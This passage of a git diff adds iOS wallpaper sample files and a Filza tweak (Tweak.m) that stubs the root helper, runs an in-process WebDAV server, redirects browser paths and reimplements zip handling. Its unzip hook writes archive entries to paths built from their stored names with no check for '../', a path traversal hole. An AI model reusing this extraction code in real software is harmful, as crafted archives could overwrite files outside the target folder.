+ + + + + assetManifest + assetManifest.caml + documentHeight + 844 + documentResizesToView + + documentWidth + 390 + dynamicGuidesEnabled + + geometryFlipped + + guidesEnabled + + interactiveMouseEventsEnabled + + interactiveTouchEventsEnabled + + loopEnd + +infinity + loopStart + 0.0 + loopingEnabled + + multitouchDisablesMouse + + multitouchEnabled + + presentationMouseEventsEnabled + + presentationTouchEventsEnabled + + rootDocument + main.caml + showsTouches + + snappingEnabled + + timelineMarkers + [(null)] + touchesColor + 1 1 0 0.8 + + diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/main.caml b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/main.caml new file mode 100644 index 0000000..920977b --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/main.caml @@ -0,0 +1,2650 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Floating-390w-844h@3x~iphone.ca/assetManifest.caml b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Floating-390w-844h@3x~iphone.ca/assetManifest.caml new file mode 100644 index 0000000..f02d9e2 --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Floating-390w-844h@3x~iphone.ca/assetManifest.caml @@ -0,0 +1,7 @@ + + + + + + + \ No newline at end of file diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Floating-390w-844h@3x~iphone.ca/index.xml b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Floating-390w-844h@3x~iphone.ca/index.xml new file mode 100644 index 0000000..238869b --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Floating-390w-844h@3x~iphone.ca/index.xml @@ -0,0 +1,8 @@ + + + + + rootDocument + main.caml + + \ No newline at end of file diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Floating-390w-844h@3x~iphone.ca/main.caml b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Floating-390w-844h@3x~iphone.ca/main.caml new file mode 100644 index 0000000..e5c0f40 --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Floating-390w-844h@3x~iphone.ca/main.caml @@ -0,0 +1,51 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Foreground-390w-844h@3x~iphone.ca/assetManifest.caml b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Foreground-390w-844h@3x~iphone.ca/assetManifest.caml new file mode 100644 index 0000000..0c1203c --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Foreground-390w-844h@3x~iphone.ca/assetManifest.caml @@ -0,0 +1,7 @@ + + + + + + + diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Foreground-390w-844h@3x~iphone.ca/index.xml b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Foreground-390w-844h@3x~iphone.ca/index.xml new file mode 100644 index 0000000..12c2a04 --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Foreground-390w-844h@3x~iphone.ca/index.xml @@ -0,0 +1,60 @@ + + + + + assetManifest + assetManifest.caml + documentHeight + 844 + documentResizesToView + + documentWidth + 390 + dynamicGuidesEnabled + + geometryFlipped + + guidesEnabled + + interactiveMouseEventsEnabled + + interactiveShowsCursor + + interactiveTouchEventsEnabled + + loopEnd + +infinity + loopStart + 0.0 + loopingEnabled + + multitouchDisablesMouse + + multitouchEnabled + + plugins + + presentationMouseEventsEnabled + + presentationShowsCursor + + presentationTouchEventsEnabled + + rootDocument + main.caml + savesWindowFrame + + scalesToFitInPlayer + + showsTouches + + snappingEnabled + + timelineMarkers + [(null)] + touchesColor + 1 1 0 0.8 + unitsInPixelsInPlayer + + + diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Foreground-390w-844h@3x~iphone.ca/main.caml b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Foreground-390w-844h@3x~iphone.ca/main.caml new file mode 100644 index 0000000..c5b5f71 --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Foreground-390w-844h@3x~iphone.ca/main.caml @@ -0,0 +1,38 @@ + + + + + diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/Wallpaper.plist b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/Wallpaper.plist new file mode 100644 index 0000000..08e0748 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/Wallpaper.plist differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/com.apple.posterkit.provider.contents.otherMetadata.plist b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/com.apple.posterkit.provider.contents.otherMetadata.plist new file mode 100644 index 0000000..58fead2 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/com.apple.posterkit.provider.contents.otherMetadata.plist differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/com.apple.posterkit.provider.contents.userInfo b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/com.apple.posterkit.provider.contents.userInfo new file mode 100644 index 0000000..24a3941 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/com.apple.posterkit.provider.contents.userInfo differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/supplements/0/com.apple.posterkit.provider.supplementURL.homescreenConfiguration.plist b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/supplements/0/com.apple.posterkit.provider.supplementURL.homescreenConfiguration.plist new file mode 100644 index 0000000..8aa6313 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/supplements/0/com.apple.posterkit.provider.supplementURL.homescreenConfiguration.plist differ diff --git a/Tweak.m b/Tweak.m new file mode 100644 index 0000000..733aafe --- /dev/null +++ b/Tweak.m @@ -0,0 +1,2324 @@ +@import UIKit; +#import +#import +#import + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +typedef int (*WQAddChdirFn)(posix_spawn_file_actions_t *, const char *); + +#include "MCMFilzaIntegration.h" +#include "PosterBoardFeature.h" +#include "UpdateChecker.h" +#include "WQFilzaIntegration.h" +#include "WQWebDAVServer.h" +#include "WQStartupUI.h" +#include "WQTerminal.h" +#include "WQSSHServer.h" +#include "WQPackages.h" + +#pragma mark - Root Helper Hooks + +static BOOL hook_isRootHelperAvailable(id self, SEL _cmd) { + return NO; +} + +static int hook_spawnRootHelper(id self, SEL _cmd) { return 0; } +static int hook_spawnRootHelperIfNeeds(id self, SEL _cmd) { return 0; } +static int hook_respawnRootHelper(id self, SEL _cmd) { return 0; } +static void hook_tryLoadFilzaHelper(id self, SEL _cmd) {} +static void hook_createHelperConnectionIfNeeds(id self, SEL _cmd) {} + +#pragma mark - WebDAV hooks + +// Filza's built-in WebDAV mode starts a root launch daemon. That cannot work +// under normal signing, so the same UI actions drive an in-process server. +static void hook_startAirBrowser(id self, SEL _cmd) { + NSString *error = nil; + if (WQWebDAVStart(&error)) + NSLog(@"[WQWebDAV] Filza UI start ok url=%@", WQWebDAVURL()); + else + NSLog(@"[WQWebDAV] Filza UI start failed: %@", error ?: @"unknown"); +} + +static void hook_stopAirBrowser(id self, SEL _cmd) { + WQWebDAVStop(); +} + +static BOOL hook_isServerStarted(id self, SEL _cmd) { + return WQWebDAVIsRunning(); +} + +static NSString *hook_connectionUrl(id self, SEL _cmd) { + return WQWebDAVURL(); +} + +static NSString *hook_connectionUrlWithHostname(id self, SEL _cmd) { + return WQWebDAVURL(); +} + +// Filza normally uses /var/mobile/Library/Filza/.Trash, which is outside the +// app sandbox. Keep the recycle bin inside the app container so trash and +// restore work under normal signing. The transport is the same filesystem, +// so moving a file from an accessible container into this directory is a +// rename, not a cross-volume copy. +static id hook_trashDir(id self, SEL _cmd) { + NSString *root = MCMFilzaVirtualRoot(); + NSString *trash = [root stringByAppendingPathComponent:@".Trash"]; + [NSFileManager.defaultManager createDirectoryAtPath:trash + withIntermediateDirectories:YES + attributes:@{ NSFilePosixPermissions: @0700 } error:nil]; + return trash; +} + +// A jailed Filza otherwise restores its usual /var/mobile start path, which is +// not listable by this container-scoped primitive. Start in the worse_query hub +// once it exists; the startup panel repairs the browser path after indexing. +static NSString *preferredStorageRoot(void) { + return WQIsActive() ? WQVirtualRootFolder() : MCMFilzaVirtualRoot(); +} + +static id hook_defaultPath(id self, SEL _cmd) { + MCMFilzaStart(); + return preferredStorageRoot(); +} + +static NSString *redirectedLegacyBrowserPath(id requestedPath) { + NSString *path = [requestedPath isKindOfClass:NSString.class] ? requestedPath : nil; + NSRange legacy = [path rangeOfString:@"/Documents/MCM Containers"]; + if (legacy.location != NSNotFound) { + NSUInteger suffixStart = NSMaxRange(legacy); + NSString *suffix = suffixStart < path.length ? [path substringFromIndex:suffixStart] : @""; + path = [preferredStorageRoot() stringByAppendingString:suffix]; + } + return path; +} + +static IMP orig_fileSystemSetCurrentPath = NULL; +static IMP orig_fileSystemUpdateEditableUI = NULL; +static void refreshWallpaperButton(id controller, id fallbackPath) { + if (![controller isKindOfClass:UIViewController.class]) return; + SEL selector = NSSelectorFromString(@"currentPath"); + NSString *currentPath = [controller respondsToSelector:selector] + ? ((id(*)(id, SEL))objc_msgSend)(controller, selector) : nil; + PBWallpaperConfigureBrowser((UIViewController *)controller, + currentPath ?: fallbackPath); +} + +static void hook_fileSystemUpdateEditableUI(id self, SEL _cmd) { + ((void(*)(id, SEL))orig_fileSystemUpdateEditableUI)(self, _cmd); + // This is the exact Filza routine that restores the Edit item. Apply the + // Wallpaper Lab action after Filza has completed that update. + refreshWallpaperButton(self, nil); +} + +static void hook_fileSystemSetCurrentPath(id self, SEL _cmd, id requestedPath) { + NSString *path = redirectedLegacyBrowserPath(requestedPath); + if (path && ![path isEqual:requestedPath]) + NSLog(@"[DeviceStorage] redirected legacy browser path to %@", path); + ((void(*)(id, SEL, id))orig_fileSystemSetCurrentPath)(self, _cmd, path ?: requestedPath); + refreshWallpaperButton(self, path ?: requestedPath); + // Filza rebuilds its Edit item after loading a directory. Re-apply the + // lab action after those deferred navigation updates have completed. + for (NSNumber *delay in @[@100, @500]) { + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, + delay.unsignedLongLongValue * NSEC_PER_MSEC), dispatch_get_main_queue(), ^{ + refreshWallpaperButton(self, path ?: requestedPath); + }); + } +} + +static IMP orig_fileSystemViewWillAppear = NULL; +static BOOL gNormalizedInitialBrowserPath = NO; +static void hook_fileSystemViewWillAppear(id self, SEL _cmd, BOOL animated) { + NSString *currentPath = [self respondsToSelector:NSSelectorFromString(@"currentPath")] + ? ((id(*)(id, SEL))objc_msgSend)(self, NSSelectorFromString(@"currentPath")) : nil; + NSString *redirected = redirectedLegacyBrowserPath(currentPath); + NSString *root = preferredStorageRoot(); + BOOL firstAppearance = !gNormalizedInitialBrowserPath; + gNormalizedInitialBrowserPath = YES; + BOOL insideRoot = [currentPath isEqualToString:root] || + [currentPath hasPrefix:[root stringByAppendingString:@"/"]]; + if (firstAppearance && currentPath.length > 0 && !insideRoot) + redirected = root; + if (redirected && ![redirected isEqual:currentPath]) { + ((void(*)(id, SEL, id))objc_msgSend)(self, + NSSelectorFromString(@"setCurrentPath:"), redirected); + NSLog(@"[DeviceStorage] repaired initial browser path from %@ to %@", + currentPath, redirected); + } + ((void(*)(id, SEL, BOOL))orig_fileSystemViewWillAppear)(self, _cmd, animated); + + if (firstAppearance && currentPath.length == 0) { + ((void(*)(id, SEL, id))objc_msgSend)(self, + NSSelectorFromString(@"setCurrentPath:"), root); + NSLog(@"[DeviceStorage] initialized empty browser path to %@", root); + } + + // Older Filza state restoration can preserve the navigation title even + // after the path has been repaired, so replace that presentation-only + // residue as well. + UINavigationItem *item = [self respondsToSelector:@selector(navigationItem)] + ? ((id(*)(id, SEL))objc_msgSend)(self, @selector(navigationItem)) : nil; + if ([item.title isEqualToString:@"MCM Containers"]) + item.title = @"Device Storage"; + + SEL visiblePathSelector = NSSelectorFromString(@"currentPath"); + NSString *visiblePath = [self respondsToSelector:visiblePathSelector] + ? ((id(*)(id, SEL))objc_msgSend)(self, visiblePathSelector) : redirected; + PBWallpaperConfigureBrowser(self, visiblePath); + + // State restoration can leave the browser's table model empty even after + // its path is correct. Reload on the next main-loop turn, after the view + // hierarchy and browser view have finished appearing. + dispatch_async(dispatch_get_main_queue(), ^{ + SEL currentSelector = NSSelectorFromString(@"currentPath"); + NSString *visiblePath = [self respondsToSelector:currentSelector] + ? ((id(*)(id, SEL))objc_msgSend)(self, currentSelector) : nil; + NSString *visibleRoot = preferredStorageRoot(); + BOOL visibleInsideRoot = [visiblePath isEqualToString:visibleRoot] || + [visiblePath hasPrefix:[visibleRoot stringByAppendingString:@"/"]]; + SEL loadSelector = NSSelectorFromString(@"doLoadingPage"); + if (visibleInsideRoot && [self respondsToSelector:loadSelector]) { + ((void(*)(id, SEL))objc_msgSend)(self, loadSelector); + NSLog(@"[DeviceStorage] reloaded visible browser path %@", visiblePath); + } + }); +} + +static int hook_spawnRoot_args_pid(id self, SEL _cmd, id path, id args, int *pid) { + if (pid) *pid = 0; + return -1; +} + +static id hook_sendObjectWithReplySync(id self, SEL _cmd, id msg) { + return (id)xpc_null_create(); +} + +static id hook_sendObjectWithReplySync_fd(id self, SEL _cmd, id msg, int *fd) { + if (fd) *fd = -1; + return (id)xpc_null_create(); +} + +static id hook_sendObjectWithReplySync_fd_logintty(id self, SEL _cmd, id msg, int *fd, BOOL logintty) { + if (fd) *fd = -1; + return (id)xpc_null_create(); +} + +static void hook_sendObjectNoReply(id self, SEL _cmd, id msg) {} + +static void hook_sendObjectWithReplyAsync(id self, SEL _cmd, id msg, id queue, id completion) { + if (completion) { void (^block)(id) = completion; block(nil); } +} + +#pragma mark - Zip/Unzip via minizip C API (linked in Filza binary) + +// minizip C functions — statically linked in Filza, resolve via dlsym at runtime +#include +typedef void* zipFile64; +typedef void* unzFile64; + +// Function pointer types +static zipFile64 (*p_zipOpen64)(const char*, int); +static int (*p_zipOpenNewFileInZip64)(zipFile64, const char*, const void*, const void*, unsigned, const void*, unsigned, const char*, int, int, int); +static int (*p_zipWriteInFileInZip)(zipFile64, const void*, unsigned); +static int (*p_zipCloseFileInZip)(zipFile64); +static int (*p_zipClose)(zipFile64, const char*); +static unzFile64 (*p_unzOpen64)(const char*); +static int (*p_unzGoToFirstFile)(unzFile64); +static int (*p_unzGoToNextFile)(unzFile64); +static int (*p_unzGetCurrentFileInfo64)(unzFile64, void*, char*, unsigned long, void*, unsigned long, char*, unsigned long); +static int (*p_unzOpenCurrentFilePassword)(unzFile64, const char*); +static int (*p_unzReadCurrentFile)(unzFile64, void*, unsigned); +static int (*p_unzCloseCurrentFile)(unzFile64); +static int (*p_unzClose)(unzFile64); + +static bool g_minizipLoaded = false; +static void loadMinizip(void) { + if (g_minizipLoaded) return; + // RTLD_DEFAULT searches all loaded images including Filza's statically linked minizip + p_zipOpen64 = dlsym(RTLD_DEFAULT, "zipOpen64"); + p_zipOpenNewFileInZip64 = dlsym(RTLD_DEFAULT, "zipOpenNewFileInZip64"); + p_zipWriteInFileInZip = dlsym(RTLD_DEFAULT, "zipWriteInFileInZip"); + p_zipCloseFileInZip = dlsym(RTLD_DEFAULT, "zipCloseFileInZip"); + p_zipClose = dlsym(RTLD_DEFAULT, "zipClose"); + p_unzOpen64 = dlsym(RTLD_DEFAULT, "unzOpen64"); + p_unzGoToFirstFile = dlsym(RTLD_DEFAULT, "unzGoToFirstFile"); + p_unzGoToNextFile = dlsym(RTLD_DEFAULT, "unzGoToNextFile"); + p_unzGetCurrentFileInfo64 = dlsym(RTLD_DEFAULT, "unzGetCurrentFileInfo64"); + p_unzOpenCurrentFilePassword = dlsym(RTLD_DEFAULT, "unzOpenCurrentFilePassword"); + p_unzReadCurrentFile = dlsym(RTLD_DEFAULT, "unzReadCurrentFile"); + p_unzCloseCurrentFile = dlsym(RTLD_DEFAULT, "unzCloseCurrentFile"); + p_unzClose = dlsym(RTLD_DEFAULT, "unzClose"); + g_minizipLoaded = (p_zipOpen64 && p_unzOpen64); + NSLog(@"[Tweak] minizip loaded: %d (zip=%p unz=%p)", g_minizipLoaded, p_zipOpen64, p_unzOpen64); +} + +static IMP orig_ZipFiles = NULL, orig_unZipFile = NULL, orig_unZipFilePassword = NULL; + +// Recursively add files to a zip archive using minizip C API +static void addFileToZip(zipFile64 zf, NSString *basePath, NSString *relativePath) { + NSFileManager *fm = [NSFileManager defaultManager]; + NSString *fullPath = [basePath stringByAppendingPathComponent:relativePath]; + BOOL isDir = NO; + [fm fileExistsAtPath:fullPath isDirectory:&isDir]; + if (isDir) { + // Add directory entry + NSString *dirEntry = [relativePath stringByAppendingString:@"/"]; + p_zipOpenNewFileInZip64(zf, dirEntry.UTF8String, NULL, NULL, 0, NULL, 0, NULL, 0, 0, 0); + p_zipCloseFileInZip(zf); + for (NSString *item in [fm contentsOfDirectoryAtPath:fullPath error:nil]) + addFileToZip(zf, basePath, [relativePath stringByAppendingPathComponent:item]); + } else { + NSData *data = [NSData dataWithContentsOfFile:fullPath]; + if (!data) return; + // Z_DEFLATED=8, Z_DEFAULT_COMPRESSION=-1 + p_zipOpenNewFileInZip64(zf, relativePath.UTF8String, NULL, NULL, 0, NULL, 0, NULL, 8, -1, data.length > 0xFFFFFFFF); + p_zipWriteInFileInZip(zf, data.bytes, (unsigned int)data.length); + p_zipCloseFileInZip(zf); + } +} + +// Hook: -[Zipper ZipFiles:toFilePath:currentDirectory:] +static id hook_ZipFiles(id self, SEL _cmd, id files, id toFilePath, id currentDirectory) { + @try { + loadMinizip(); + if (!g_minizipLoaded) return orig_ZipFiles ? ((id(*)(id,SEL,id,id,id))orig_ZipFiles)(self, _cmd, files, toFilePath, currentDirectory) : nil; + zipFile64 zf = p_zipOpen64(((NSString *)toFilePath).UTF8String, 0); // APPEND_STATUS_CREATE=0 + if (!zf) { NSLog(@"[Tweak] zipOpen64 failed"); return nil; } + + for (id fi in files) { + NSString *fn = [fi performSelector:NSSelectorFromString(@"fileName")]; + if (fn) addFileToZip(zf, currentDirectory, fn); + } + p_zipClose(zf, NULL); + + // Return FileItem if zip was created (matching original behavior) + if ([[NSFileManager defaultManager] fileExistsAtPath:toFilePath]) { + Class FI = NSClassFromString(@"FileItem"); + if (FI) { + id item = [[FI alloc] init]; + ((void(*)(id,SEL,id,id))objc_msgSend)(item, NSSelectorFromString(@"setFilePath:attribute:"), toFilePath, nil); + return item; + } + } + return nil; + } @catch (NSException *e) { NSLog(@"[Tweak] Zip error: %@", e); return nil; } +} + +// Hook: -[Zipper unZipFile:toPath:currentDirectory:outMessage:] +static id hook_unZipFile(id self, SEL _cmd, id zipPath, id toPath, id currentDir, id *outMsg) { + @try { + loadMinizip(); + if (!g_minizipLoaded) return orig_unZipFile ? ((id(*)(id,SEL,id,id,id,id*))orig_unZipFile)(self, _cmd, zipPath, toPath, currentDir, outMsg) : nil; + // zipPath is a FileItem, get the actual path string + NSString *zipPathStr = zipPath; + if ([zipPath respondsToSelector:NSSelectorFromString(@"filePath")]) + zipPathStr = [zipPath performSelector:NSSelectorFromString(@"filePath")]; + + unzFile64 uf = p_unzOpen64(((NSString *)zipPathStr).UTF8String); + if (!uf) { if (outMsg) *outMsg = @"Failed to open zip"; return nil; } + + NSFileManager *fm = [NSFileManager defaultManager]; + NSString *destPath = toPath; + [fm createDirectoryAtPath:destPath withIntermediateDirectories:YES attributes:nil error:nil]; + + char filename[512]; + uint8_t buf[32768]; + int ret = p_unzGoToFirstFile(uf); + while (ret == 0) { + p_unzGetCurrentFileInfo64(uf, NULL, filename, sizeof(filename), NULL, 0, NULL, 0); + NSString *name = [NSString stringWithUTF8String:filename]; + NSString *fullPath = [destPath stringByAppendingPathComponent:name]; + + if ([name hasSuffix:@"/"]) { + [fm createDirectoryAtPath:fullPath withIntermediateDirectories:YES attributes:nil error:nil]; + } else { + [fm createDirectoryAtPath:[fullPath stringByDeletingLastPathComponent] + withIntermediateDirectories:YES attributes:nil error:nil]; + + if (p_unzOpenCurrentFilePassword(uf, NULL) == 0) { + NSMutableData *fileData = [NSMutableData data]; + int bytesRead; + while ((bytesRead = p_unzReadCurrentFile(uf, buf, sizeof(buf))) > 0) + [fileData appendBytes:buf length:bytesRead]; + p_unzCloseCurrentFile(uf); + [fileData writeToFile:fullPath atomically:YES]; + } + } + ret = p_unzGoToNextFile(uf); + } + p_unzClose(uf); + + if (outMsg) *outMsg = @"OK"; + + // Return array of extracted FileItems (matching original behavior) + NSArray *contents = [fm contentsOfDirectoryAtPath:destPath error:nil]; + if (contents.count > 0) { + Class FI = NSClassFromString(@"FileItem"); + if (FI) { + id item = [[FI alloc] init]; + ((void(*)(id,SEL,id,id))objc_msgSend)(item, NSSelectorFromString(@"setFilePath:attribute:"), destPath, nil); + return @[item]; + } + } + return nil; + } @catch (NSException *e) { NSLog(@"[Tweak] Unzip error: %@", e); if (outMsg) *outMsg = [e reason]; return nil; } +} + +// Hook: -[Zipper 